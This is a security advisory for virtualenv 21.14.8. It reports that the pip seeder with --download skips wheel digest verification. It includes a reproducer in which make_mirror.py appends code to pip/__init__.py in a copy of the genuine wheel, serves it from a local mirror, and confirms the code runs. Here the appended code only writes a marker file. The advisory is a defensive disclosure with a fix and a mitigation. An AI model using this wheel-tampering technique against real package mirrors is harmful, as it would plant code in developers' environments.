virtualenv: Pip seeding with download omits wheel digest verification

Attack sequence

sequenceDiagram
    participant I as Index in pip.conf
    participant V as virtualenv PipInvoke
    participant P as pip install
    participant E as Seeded environment
    I->>V: serve modified pip wheel
    V->>V: get_wheel(download=False)
    V->>P: install with --download permitting index lookup
    P->>I: select same-version index wheel
    I->>E: modified pip installed without virtualenv digest check
    E->>E: later pip invocation runs added code
    Note over V,E: Default app-data seeder rejects the same digest

Reproducer files

The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import glob
import hashlib
import json
import os
import shutil
import subprocess
import sys
import zipfile

from virtualenv.seed.wheels.embed import get_embed_wheel

companions = "/tmp/repro.d"
work = "/tmp/repro-pip-seeder-download"
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
os.makedirs(f"{work}/pypi.org/pypi/pip")
with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
    json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)

# attacker: the mirror serves other bytes under the bundled wheel's own file name
marker = f"{work}/MIRROR_CODE_RAN"
subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")

# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
with open(f"{work}/pip.conf", "w") as pip_conf:
    pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
os.makedirs(f"{work}/home-default")
os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]

# control: the default seeder with --download fetches the mirror's wheel and refuses it
default_seeder = subprocess.run(
    [*virtualenv, "--download", f"{work}/env-default"],
    env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
print("\n".join(refusal))

# trigger: the same command plus --seeder pip
pip_seeder = subprocess.run(
    [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
    env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
print(pip_seeder.stdout)
if pip_seeder.returncode == 0:
    env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
    print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")

# check: compare env-pip's pip/__init__.py with the one in each wheel
with zipfile.ZipFile(bundled.path) as wheel:
    bundled_init = wheel.read("pip/__init__.py")
with zipfile.ZipFile(mirror_wheel) as wheel:
    mirror_init = wheel.read("pip/__init__.py")
installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
installed_init = open(installed[0], "rb").read() if installed else b""
refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
print(f"default seeder refused the mirror's wheel for its digest: {refused}")
print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")

repro.d/make_mirror.py

#!/usr/bin/env python3
# usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
import os
import sys
import zipfile

genuine_wheel, mirror, marker = sys.argv[1:]
wheel_name = os.path.basename(genuine_wheel)
payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"

os.makedirs(f"{mirror}/pip")
with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
    for entry in genuine.infolist():
        data = genuine.read(entry)
        if entry.filename == "pip/__init__.py":
            data += payload.encode()
        served.writestr(entry, data)

# PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
with open(f"{mirror}/pip/index.html", "w") as page:
    page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')

repro.d/virtualenv_offline.py

#!/usr/bin/env python3
# usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
import sys

from virtualenv.__main__ import run_with_catch
from virtualenv.seed.wheels import periodic_update

pypi_org = sys.argv[1]


def pypi_json_api(url, context=None):
    return open(url.replace("https://pypi.org", pypi_org), "rb")


periodic_update.urlopen = pypi_json_api
run_with_catch(sys.argv[2:])

Impact

The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

Fix: PR #3430.

Known mitigation

On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

Affected release

• The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.